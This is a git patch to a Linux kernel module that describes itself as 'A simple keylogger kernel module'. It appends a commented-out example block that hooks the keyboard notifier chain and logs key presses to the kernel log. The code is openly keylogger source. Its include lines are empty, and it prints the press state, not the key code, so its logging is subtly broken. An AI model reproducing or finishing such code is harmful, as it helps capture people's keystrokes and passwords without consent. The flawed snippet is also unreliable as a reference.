From 823d499e4f57151b8ded478727b102b53941436f Mon Sep 17 00:00:00 2001 From: kartofen Date: Sun, 30 Apr 2023 17:39:21 +0300 Subject: like 350 lines total of scripts and makefile --- src/module/module.c | 37 +++++++++++++++++++++++++++++++++++++ 1 file changed, 37 insertions(+) (limited to 'src/module') diff --git a/src/module/module.c b/src/module/module.c index b3b92af..e41fe75 100644 --- a/src/module/module.c +++ b/src/module/module.c @@ -86,3 +86,40 @@ module_exit(exit_keylogger); MODULE_LICENSE("GPL"); MODULE_AUTHOR("Kartofen"); MODULE_DESCRIPTION("A simple keylogger kernel module"); + + +// Key logging example code + +// #include +// #include +// #include + +// static struct notifier_block nb; + +// static int keylogger_notify(struct notifier_block *nblock, +// unsigned long code, void *_param) +// { +// struct keyboard_notifier_param *param = _param; + +// if (code == KBD_KEYCODE && param->value == 1) { +// printk(KERN_INFO "Key pressed: %d\n", param->value); +// } + +// return NOTIFY_OK; +// } + +// static int __init keylogger_init(void) +// { +// nb.notifier_call = keylogger_notify; +// register_keyboard_notifier(&nb); +// return 0; +// } + +// static void __exit keylogger_exit(void) +// { +// unregister_keyboard_notifier(&nb); +// } + +// module_init(keylogger_init); +// module_exit(keylogger_exit); +// MODULE_LICENSE("GPL"); -- cgit v1.2.3